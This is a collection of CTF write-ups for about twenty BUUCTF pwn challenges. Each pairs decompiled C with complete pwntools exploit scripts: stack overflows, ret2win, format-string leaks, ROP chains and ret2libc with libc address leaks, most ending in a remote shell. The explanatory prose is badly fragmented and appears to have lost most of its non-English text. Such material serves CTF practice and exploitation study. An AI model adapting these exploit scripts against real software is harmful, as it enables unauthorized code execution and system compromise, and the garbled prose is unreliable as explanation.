┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: BUUCTF
~ CuB3y0nd
# rip

## Information

- Category: Pwn
- Points: 1

## Write-up

 IDA  `gets` `fun`  `system("/bi
n/sh")`

## Exploit

```python
#!/usr/bin/python

from pwn import ROP, args, context, flat, gdb, process, remote

gdbscript = """
b *main+32
b *main+67
c
"""

FILE = "./pwn1"
HOST, PORT = "node5.buuoj.cn", 27889

context(log_level="debug", binary=FILE, terminal="kitty")


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def construct_payload():
    elf = context.binary
    rop = ROP(elf)

    payload = flat(b"A" * 0x17, rop.ret.address, elf.symbols["fun"])

    return payload


def main():
    target = launch()
    payload = construct_payload()

    target.sendline(payload)
    target.interactive()


if __name__ == "__main__":
    main()
```

# warmup_csaw_2016

## Information

- Category: Pwn
- Points: 1

## Write-up

`int sprintf(char* buffer, const char* format, ...);` 
 `0``snprintf` 
 `sprintf` 

 `vuln`  buffer `s` `write`  buffer `s` 
 `vuln` 

`main`  `gets` `gets`  `vuln` 


```c del={11}
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  _BYTE v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%pn", vuln);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}
```

```c
int vuln()
{
  return system("cat flag.txt");
}
```

## Exploit

```python
#!/usr/bin/python

from pwn import args, context, flat, gdb, process, remote

gdbscript = """
b *main+70
b *main+129
c
"""

FILE = "./pwn-patched"
HOST, PORT = "node5.buuoj.cn", 26553

context(log_level="debug", binary=FILE, terminal="kitty")


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def construct_payload(leaked_addr):
    payload = flat(b"A" * 0x48, leaked_addr)

    return payload


def main():
    target = launch()

    target.recvuntil(b"WOW:")
    leaked_addr = int(target.recvline().strip(), 16)

    payload = construct_payload(leaked_addr)

    target.sendline(payload)
    target.interactive()


if __name__ == "__main__":
    main()
```

# ciscn_2019_n_1

## Information

- Category: Pwn
- Points: 1

## Write-up

 `gets`  `v2`  `11.28125` 

```c ins={9-10} del={8}
int func()
{
  _BYTE v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(v1);
  if ( v2 == 11.28125 )
    return system("cat /flag");
  else
    return puts("Its value should be 11.28125");
}
```

使 `p/f $xmm0` 
使 `p` 

```asm wrap=false showLineNumbers=false
pwndbg> p/f $xmm0
$1 = {
  v8_bfloat16 = {-0, 11.25, 0, 0, 0, 0, 0, 0},
  v8_half = {-0, 2.6016, 0, 0, 0, 0, 0, 0},
  v4_float = {11.28125, 0, 0, 0},
  v2_double = {5.404878958234834e-315, 0},
  v16_int8 = {0, -128, 52, 65, 0 <repeats 12 times>},
  v8_int16 = {-0, 2.6016, 0, 0, 0, 0, 0, 0},
  v4_int32 = {11.28125, 0, 0, 0},
  v2_int64 = {5.404878958234834e-315, 0},
  uint128 = 3.98770131343430171379e-4942
}
pwndbg> p/f $xmm0.v4_int32[0]
$2 = 11.28125
pwndbg> p *(float *)($rbp - 4)
$3 = 11.28125
```

## Exploit

```python
#!/usr/bin/python

from pwn import args, context, flat, gdb, process, remote, struct

gdbscript = """
b *func+58
c
"""

FILE = "./ciscn_2019_n_1"
HOST, PORT = "node5.buuoj.cn", 25637

context(log_level="debug", binary=FILE, terminal="kitty")


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def construct_payload():
    payload = flat(b"A" * 0x2C, struct.pack("<f", 11.28125))

    return payload


def main():
    target = launch()

    payload = construct_payload()

    target.sendline(payload)
    target.interactive()


if __name__ == "__main__":
    main()
```

# pwn1_sctf_2016

## Information

- Category: Pwn
- Points: 1

## Write-up

```c ins={12} del={18, 25-26}
int vuln()
{
  const char *v0; // eax
  int v2; // [esp+8h] [ebp-50h]
  char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
  _BYTE v4[4]; // [esp+3Ch] [ebp-1Ch] BYREF
  _BYTE v5[7]; // [esp+40h] [ebp-18h] BYREF
  char v6; // [esp+47h] [ebp-11h] BYREF
  _BYTE v7[7]; // [esp+48h] [ebp-10h] BYREF
  _BYTE v8[5]; // [esp+4Fh] [ebp-9h] BYREF

  printf("Tell me something about yourself: ");
  fgets(s, 32, edata);
  std::string::operator=(&input, s);
  std::allocator<char>::allocator(&v6);
  std::string::string(v5, "you", &v6);
  std::allocator<char>::allocator(v8);
  std::string::string(v7, "I", v8);
  replace((std::string *)v4, (std::string *)&input, (std::string *)v7);
  std::string::operator=(&input, v4, v2, v5);
  std::string::~string(v4);
  std::string::~string(v7);
  std::allocator<char>::~allocator(v8);
  std::string::~string(v5);
  std::allocator<char>::~allocator(&v6);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(s, v0);
  return printf("So, %sn", s);
}
```

`fegts`  32  buffer `s` `0` 
 31 

`replace`  buffer `s`  `I`  `you`
 `input``v0`  `input.c_str()`  `c_str()`  `Returns a
 pointer to a null-terminated character array with data equivalent to those stor
ed in the string.`  `strcpy`  buffer `s` `strcpy` 
 buffer  `get_flag` 


 `replace` …… `C++`
…… `vuln`  `replace` 
 `you``I` 
 `I`  `you` `replace` 
 GPT  `replace` 
……

```cpp collapse={4-45}
std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3
)
{
  int v4; // [esp+Ch] [ebp-4Ch]
  _BYTE v5[4]; // [esp+10h] [ebp-48h] BYREF
  _BYTE v6[7]; // [esp+14h] [ebp-44h] BYREF
  char v7; // [esp+1Bh] [ebp-3Dh] BYREF
  int v8; // [esp+1Ch] [ebp-3Ch]
  _BYTE v9[4]; // [esp+20h] [ebp-38h] BYREF
  int v10; // [esp+24h] [ebp-34h] BYREF
  int v11; // [esp+28h] [ebp-30h] BYREF
  char v12; // [esp+2Fh] [ebp-29h] BYREF
  _DWORD v13[2]; // [esp+30h] [ebp-28h] BYREF
  _BYTE v14[4]; // [esp+38h] [ebp-20h] BYREF
  int v15; // [esp+3Ch] [ebp-1Ch]
  _BYTE v16[4]; // [esp+40h] [ebp-18h] BYREF
  int v17; // [esp+44h] [ebp-14h] BYREF
  _BYTE v18[4]; // [esp+48h] [ebp-10h] BYREF
  _BYTE v19[8]; // [esp+4Ch] [ebp-Ch] BYREF

  while ( std::string::find(a2, a3, 0) != -1 )
  {
    std::allocator<char>::allocator(&v7);
    v8 = std::string::find(a2, a3, 0);
    std::string::begin((std::string *)v9);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v10);
    std::string::begin((std::string *)&v11);
    std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v6, v1
1, v10, &v7);
    std::allocator<char>::~allocator(&v7);
    std::allocator<char>::allocator(&v12);
    std::string::end((std::string *)v13);
    v13[1] = std::string::length(a3);
    v15 = std::string::find(a2, a3, 0);
    std::string::begin((std::string *)v16);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(v14);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v17);
    std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v5, v1
7, v13[0], &v12);
    std::allocator<char>::~allocator(&v12);
    std::operator+<char>((std::string *)v19);
    std::operator+<char>((std::string *)v18);
    std::string::operator=(a2, v18, v5, v4);
    std::string::~string(v18);
    std::string::~string(v19);
    std::string::~string(v5);
    std::string::~string(v6);
  }
  std::string::string(a1, a2);
  return a1;
}
```

## Exploit

```python
#!/usr/bin/python

from pwn import args, context, flat, gdb, process, remote

gdbscript = """
b *vuln+42
c
"""

FILE = "./pwn1_sctf_2016"
HOST, PORT = "node5.buuoj.cn", 28688

context(log_level="debug", binary=FILE, terminal="kitty")


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def construct_payload():
    elf = context.binary

    payload = flat(b"I" * 21 + b"A", elf.symbols["get_flag"])

    return payload


def main():
    target = launch()

    payload = construct_payload()

    target.sendline(payload)
    target.interactive()


if __name__ == "__main__":
    main()
```

# jarvisoj_level0

## Information

- Category: Pwn
- Points: 1

## Write-up



## Exploit

```python
#!/usr/bin/python

from pwn import ROP, args, context, flat, gdb, process, remote

gdbscript = """
c
"""

FILE = "./level0"
HOST, PORT = "node5.buuoj.cn", 27572

context(log_level="debug", binary=FILE, terminal="kitty")


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def construct_payload():
    elf = context.binary
    rop = ROP(elf)

    payload = flat(b"A" * 0x88, rop.ret.address, elf.symbols["callsystem"])

    return payload


def main():
    target = launch()

    payload = construct_payload()

    target.sendline(payload)
    target.interactive()


if __name__ == "__main__":
    main()
```

# [ 2019 ] PWN5

## Information

- Category: Pwn
- Points: 1

## Write-up

```c del={19, 21} ins={23-28}
int __cdecl main(int a1)
{
  time_t v1; // eax
  int result; // eax
  int fd; // [esp+0h] [ebp-84h]
  char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  char buf[100]; // [esp+14h] [ebp-70h] BYREF
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &dword_804C044, 4u);
  printf("your name:");
  read(0, buf, 0x63u);
  printf("Hello,");
  printf(buf);
  printf("your passwd:");
  read(0, nptr, 0xFu);
  if ( atoi(nptr) == dword_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}
```

 `atoi(nptr) == dword_804C044` `dword_804C04
4`  `shell`

`read(fd, &dword_804C044, 4u);` 
 `bss`  `bss`  `dword_804C044` `
dword_804C044`  `bss`  debug 
 `%s` 


## Exploit

```python
#!/usr/bin/python

from pwn import args, context, flat, gdb, process, remote, u32

gdbscript = """
b *0x80492bc
b *0x80492f0
c
"""

FILE = "./pwn"
HOST, PORT = "node5.buuoj.cn", 26163

context(log_level="debug", binary=FILE, terminal="kitty")


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def rev_atoi(data):
    return str(u32(data)).encode()


def construct_payload():
    elf = context.binary

    payload = flat(b"aa%12$sx00", elf.bss() + 0x4)

    return payload


def main():
    target = launch()

    payload = construct_payload()

    target.sendlineafter(b"your name:", payload)
    target.recvuntil(b"aa")

    passwd = rev_atoi(target.recv(0x4))

    target.sendlineafter(b"your passwd:", passwd)
    target.interactive()


if __name__ == "__main__":
    main()
```

# jarvisoj_level2

## Information

- Category: Pwn
- Points: 1

## Write-up

```c del={6}
ssize_t vulnerable_function()
{
  _BYTE buf[136]; // [esp+0h] [ebp-88h] BYREF

  system("echo Input:");
  return read(0, buf, 256u);
}
```

`read`  32-bit 
 `system@plt` `system` 


 `shell` IDA `Shift + F12`  `.data:080
4A024 hint db '/bin/sh',0` PIE


 `call system@plt`  `call` 

 `system@plt`


`call`  `push eip_next; jmp <entry>` `system@plt` 
 `jmp system@plt`

## Exploit

```python
#!/usr/bin/python

from pwn import args, context, flat, gdb, process, remote

gdbscript = """
set follow-fork-mode parent
b *vulnerable_function+42
b *vulnerable_function+52
c
"""

FILE = "./level2"
HOST, PORT = "node5.buuoj.cn", 25976

context(log_level="debug", binary=FILE, terminal="kitty")


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def construct_payload():
    elf = context.binary

    payload = flat(
        b"A" * 0x8C,
        elf.plt["system"],
        0x0,  # return address placeholder
        next(elf.search(b"/bin/sh")),
    )

    return payload


def main():
    target = launch()

    payload = construct_payload()

    target.sendline(payload)
    target.interactive()


if __name__ == "__main__":
    main()
```

# ciscn_2019_n_8

## Information

- Category: Pwn
- Points: 1

## Write-up

```c ins={11-14} del={10} collapse={18-40}
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!n", var);
    puts("Try do something~");
  }
  return 0;
}
```

`__isoc99_scanf((int)"%s", (int)var, v4, v5);`  `%s`
  IDA  `v4`  `v5`
 `*(_QWORD *)&var[13]`  `&var[13]` 
 `0``*(_QWORD *)&var
[13] == 0x11LL` `&var[13]`  `0x11` `gets
hell`

## Exploit

```python
#!/usr/bin/python

from pwn import args, context, flat, gdb, p64, process, remote

gdbscript = """
b *main+100
b *main+105
c
"""

FILE = "./ciscn_2019_n_8"
HOST, PORT = "node5.buuoj.cn", 29741

context(log_level="debug", binary=FILE, terminal="kitty")


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def construct_payload():
    payload = flat(b"A" * 52, p64(0x11))

    return payload


def main():
    target = launch()

    payload = construct_payload()

    target.sendline(payload)
    target.interactive()


if __name__ == "__main__":
    main()
```

# bjdctf_2020_babystack

## Information

- Category: Pwn
- Points: 1

## Write-up

```c del={16,18}
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[12]; // [rsp+0h] [rbp-10h] BYREF
  size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[+]Are u ready?");
  puts("[+]Please input the length of your name:");
  __isoc99_scanf("%d", &nbytes);
  puts("[+]What's u name?");
  read(0, buf, (unsigned int)nbytes);
  return 0;
}
```

`read`  `__isoc99_scanf` 

## Exploit

```python
#!/usr/bin/python

from pwn import ROP, args, context, flat, gdb, process, remote

gdbscript = """
b *main+197
b *main+208
c
"""

FILE = "./bjdctf_2020_babystack"
HOST, PORT = "node5.buuoj.cn", 29741

context(log_level="debug", binary=FILE, terminal="kitty")


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def construct_payload():
    elf = context.binary
    rop = ROP(elf)

    payload = flat(b"A" * 0x18, rop.ret.address, elf.symbols["backdoor"])

    return payload


def main():
    target = launch()

    payload = construct_payload()

    target.sendlineafter(b"your name:", b"1337")
    target.sendlineafter(b"What's u name?", payload)
    target.interactive()


if __name__ == "__main__":
    main()
```

# ciscn_2019_c_1

## Information

- Category: Pwn
- Points: 1

## Write-up

 `main`  `encrypt` 

```c del={10,35}
int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}
```

 `xor` 使 `gets`
 shellcode 
 ROP NX ropper  syscall  ROP 
 gadgets ret2plt  libc  ret2libc getshell.

 payload  `encrypt` 
 `encrypt`  payload 
 `if ( v0 
>= strlen(s) )`  `strlen` 
 `x00`  `x00`  payload 
 0

 `encrypt`  `puts(s)` `puts`  go
t  libc  `puts`  `puts@got` 
 libc  libc  `system`  `/bin/sh` 
 getshell  ROP 

 `puts` 
 `main` exit libc 
 ROP 

 libc `LibcSearcher`  
libc `LibcSearcher`  `LibcSearcher` 
 libc-database  libc 

## Exploit

```python
#!/usr/bin/python

from pwn import ROP, args, context, flat, gdb, log, process, remote, u64

from LibcSearcher.LibcSearcher import LibcSearcher

gdbscript = """
# b *encrypt+61
# b *encrypt+322
# b *encrypt+334
c
"""

FILE = "./ciscn_2019_c_1"
HOST, PORT = "node5.buuoj.cn", 28304

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def to_hex_bytes(data):
    return "".join(f"\x{byte:02x}" for byte in data)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)

    if args.D:
        gdb.attach(target, gdbscript=gdbscript)

    return target


def construct_payload(stage, libc, libc_base):
    rop = ROP(elf)

    if stage == 1:
        return flat(
            b"x00",
            b"A" * 0x57,
            rop.rdi.address,
            elf.got["puts"],
            elf.plt["puts"],
            elf.symbols["main"],
        )
    elif stage == 2:
        return flat(
            b"x00",
            b"A" * 0x57,
            rop.rdi.address,
            libc_base + libc.dump("str_bin_sh"),
            rop.ret.address,
            libc_base + libc.dump("system"),
            0x0,
        )
    else:
        log.error(b"Failed constructing payload!")


def main():
    target = launch()

    payload = construct_payload(1, None, None)

    target.sendlineafter(b"Input your choice!", b"1")
    target.sendline(payload)
    target.recvuntil(b"Ciphertext")

    leaked_puts = u64(target.recv(0x8).strip().ljust(8, b"x00"))
    libc = LibcSearcher("puts", leaked_puts)
    libc_base = leaked_puts - libc.dump("puts")

    log.success(f"libc base: {hex(libc_base)}")

    payload = construct_payload(2, libc, libc_base)

    target.sendlineafter(b"Input your choice!", b"1")
    target.sendline(payload)
    target.interactive()


if __name__ == "__main__":
    main()
```

# jarvisoj_level2_x64

## Information

- Category: Pwn
- Points: 1

## Write-up

`vulnerable_function`  BOF retaddr  ROP Chain
 `system("echo 'Hello World!'")` rdi 
 `/bin/sh`  IDA 
 `/bin/sh`  PIE

## Exploit

```python
#!/usr/bin/env python3

from pwn import ROP, args, context, flat, p64, process, raw_input, remote

FILE = "./level2_x64"
HOST, PORT = "node5.buuoj.cn", 27792

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    rop = ROP(elf)
    payload = flat(
        b"A" * 0x88,
        p64(rop.rdi.address),
        0x600A90,
        p64(rop.ret.address),
        elf.plt["system"],
    )

    raw_input()
    target.sendline(payload)
    target.interactive()


if __name__ == "__main__":
    main()
```

# get_started_3dsctf_2016

## Information

- Category: Pwn
- Points: 1

## Write-up

main  `gets` BOF `get_flag` 


 `timeout: the monitored command dumped core`
退 `get_flag`  `exit` 


## Exploit

```python
#!/usr/bin/env python3

from pwn import args, context, flat, p32, process, raw_input, remote

FILE = "./get_started_3dsctf_2016"
HOST, PORT = "node5.buuoj.cn", 25782

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    payload = flat(
        b"A" * 0x38,
        elf.sym["get_flag"],
        p32(0x0804E6A0),
        p32(814536271),
        p32(425138641),
    )

    # raw_input()
    target.sendline(payload)
    target.interactive()


if __name__ == "__main__":
    main()
```

# [HarekazeCTF2019]baby_rop

## Information

- Category: Pwn
- Points: 1

## Write-up

 `jarvisoj_level2_x64` 

## Exploit

```python
#!/usr/bin/env python3

from pwn import ROP, args, context, flat, process, raw_input, remote

FILE = "./babyrop"
HOST, PORT = "node5.buuoj.cn", 28698

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    rop = ROP(elf)
    payload = flat(
        b"A" * 0x18,
        rop.rdi.address,
        next(elf.search(b"/bin/sh")),
        rop.ret.address,
        elf.plt["system"],
    )

    # raw_input()
    target.sendline(payload)
    target.interactive()


if __name__ == "__main__":
    main()
```

# others_shellcode

## Information

- Category: Pwn
- Points: 1

## Write-up



## Exploit

```python
#!/usr/bin/env python3

from pwn import args, context, process, remote

FILE = "./shell_asm"
HOST, PORT = "node5.buuoj.cn", 28960

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    # raw_input()
    target.interactive()


if __name__ == "__main__":
    main()
```

# [OGeek2019]babyrop

## Information

- Category: Pwn
- Points: 1

## Write-up

`strlen`  `x00`  `x00`  `strncmp` `buf[7]` 
 `-1` 

```c ins={13-14}
int __cdecl sub_804871F(int buffer)
{
  size_t len; // eax
  char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
  char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  ssize_t v5; // [esp+4Ch] [ebp-Ch]

  memset(s, 0, sizeof(s));
  memset(buf, 0, sizeof(buf));
  sprintf(s, "%ld", buffer);
  v5 = read(0, buf, 32u);
  buf[v5 - 1] = 0;
  len = strlen(buf);
  if ( strncmp(buf, s, len) )
    exit(0);
  write(1, "Correctn", 8u);
  return (unsigned __int8)buf[7];
}
```

`sub_80487D0`  `127`  `read`
 `read` `buf[7]`  `-1` `0xffffffff`
 BOF 

```c del={8}
ssize_t __cdecl sub_80487D0(char a1)
{
  _BYTE buf[231]; // [esp+11h] [ebp-E7h] BYREF

  if ( a1 == 127 )
    return read(0, buf, 200u);
  else
    return read(0, buf, a1);
}
```

 `sub_804871F`  `strncmp`  `sub_80487D
0`  `read(0, buf, a1)`  ROP `puts`  libc`puts`  `main` 
 getshell  ROP Chain.

## Exploit

```python
#!/usr/bin/env python3

from pwn import ELF, args, context, flat, p32, process, remote, u32

FILE = "./challenge"
HOST, PORT = "node5.buuoj.cn", 26812

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = ELF("./libc-2.23.so")


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    payload_1 = b"x00" * 0x7 + b"xff" + b"x00"
    target.send(payload_1)
    target.recvuntil(b"x0a")
    payload = flat(b"A" * 0xEB, elf.plt["puts"], p32(elf.sym["main"]), elf.got["
puts"])
    target.send(payload)
    libc.address = u32(target.recv(0x4)) - libc.sym["puts"]

    target.send(payload_1)
    target.recvuntil(b"x0a")
    payload = flat(b"A" * 0xEB, libc.sym["system"], 0, next(libc.search(b"/bin/s
h")))
    target.send(payload)
    target.interactive()


if __name__ == "__main__":
    main()
```

# ciscn_2019_n_5

## Information

- Category: Pwn
- Points: 1

## Write-up

 ret2shellcode libc

使 `LibcSearcher`  lol

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ROP,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
    u64,
)

from LibcSearcher.LibcSearcher import LibcSearcher

FILE = "./ciscn_2019_n_5"
HOST, PORT = "node5.buuoj.cn", 26903

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
rop = ROP(elf)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    # raw_input("DEBUG")

    target.sendlineafter(b"name", b"")
    payload = flat(
        b"A" * 0x28,
        rop.rdi.address,
        elf.got["puts"],
        elf.plt["puts"],
        elf.sym["main"],
    )
    target.sendlineafter(b"me?", payload)

    target.recvline()
    leaked_puts = u64(target.recv(0x6).strip().ljust(0x8, b"x00"))
    libc = LibcSearcher("puts", leaked_puts)
    libc_base = leaked_puts - libc.dump("puts")

    payload = flat(
        b"A" * 0x28,
        rop.rdi.address,
        libc_base + libc.dump("str_bin_sh"),
        rop.ret.address,
        libc_base + libc.dump("system"),
        libc_base + libc.dump("exit"),
    )
    target.sendlineafter(b"name", b"")
    target.sendlineafter(b"me?", payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

# not_the_same_3dsctf_2016

## Information

- Category: Pwn
- Points: 1

## Write-up

BOFROP Chain `get_secret` flag  bss write 
 bss 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ROP,
    args,
    constants,
    context,
    flat,
    process,
    raw_input,
    remote,
)

FILE = "./not_the_same_3dsctf_2016"
HOST, PORT = "node5.buuoj.cn", 25163

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
rop = ROP(elf)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    # raw_input("DEBUG")
    payload = flat(
        b"A" * 0x2D,
        elf.sym["get_secret"],
        elf.sym["write"],
        elf.sym["exit"],
        constants.STDOUT_FILENO,
        elf.bss() + 0xAAD,
        1337,
    )
    target.sendline(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

# ciscn_2019_en_2

## Information

- Category: Pwn
- Points: 1

## Write-up

 [ciscn_2019_c_1](#ciscn_2019_c_1) 

## Exploit

Same as [ciscn_2019_c_1](#ciscn_2019_c_1).

# ciscn_2019_ne_5

## Information

- Category: Pwn
- Points: 1

## Write-up

```c ins={24} collapse={4-21, 27-56}
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+0h] [ebp-100h] BYREF
  char src[4]; // [esp+4h] [ebp-FCh] BYREF
  char v6[124]; // [esp+8h] [ebp-F8h] BYREF
  char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
  _BYTE v8[96]; // [esp+88h] [ebp-78h] BYREF
  int *p_argc; // [esp+F4h] [ebp-Ch]

  p_argc = &argc;
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  fflush(stdout);
  *(_DWORD *)s1 = 48;
  memset(v8, 0, sizeof(v8));
  *(_DWORD *)src = 48;
  memset(v6, 0, sizeof(v6));
  puts("Welcome to use LFS.");
  printf("Please input admin password:");
  __isoc99_scanf("%100s", s1);
  if ( strcmp(s1, "administrator") )
  {
    puts("Password Error!");
    exit(0);
  }
  puts("Welcome!");
  while ( 1 )
  {
    puts("Input your operation:");
    puts("1.Add a log.");
    puts("2.Display all logs.");
    puts("3.Print all logs.");
    printf("0.Exitn:");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 0:
        exit(0);
        return result;
      case 1:
        AddLog((int)src);
        break;
      case 2:
        Display(src);
        break;
      case 3:
        Print();
        break;
      case 4:
        GetFlag(src);
        break;
      default:
        continue;
    }
  }
}
```

bypass password main  `__isoc99_scanf("%100s", s1);` 
 while  main 
 ROP Chain.

while  scanf  4`
AddLog`  scanf 128  ROP 
Chain`AddLog` 

```c del={4}
int __cdecl AddLog(int a1)
{
  printf("Please input new log info:");
  return __isoc99_scanf("%128s", a1);
}
```

`Display` 

`Print`  `system` `system@plt` 

`GetFlag`  buffer  `dest` `dest` 
 4 `strcpy`  `GetFlag` 
 ROP Chain.

```c del={8}
int __cdecl GetFlag(char *src)
{
  char dest[4]; // [esp+0h] [ebp-48h] BYREF
  _BYTE v3[60]; // [esp+4h] [ebp-44h] BYREF

  *(_DWORD *)dest = 48;
  memset(v3, 0, sizeof(v3));
  strcpy(dest, src);
  return printf("The flag is your log:%sn", dest);
}
```

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    fit,
    process,
    raw_input,
    remote,
)

FILE = "./ciscn_2019_ne_5"
HOST, PORT = "node5.buuoj.cn", 27219

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    target.sendlineafter(b"password:", b"administrator")

    payload = fit(
        {
            0x4C: elf.plt["system"],
            0x50: elf.plt["exit"],
            0x54: next(elf.search(b"sh")),
        }
    )
    # raw_input("DEBUG")
    target.sendlineafter(b"Exit", str(1).encode())
    target.sendlineafter(b"info:", payload)
    target.sendlineafter(b"Exit", str(4).encode())

    target.interactive()


if __name__ == "__main__":
    main()
```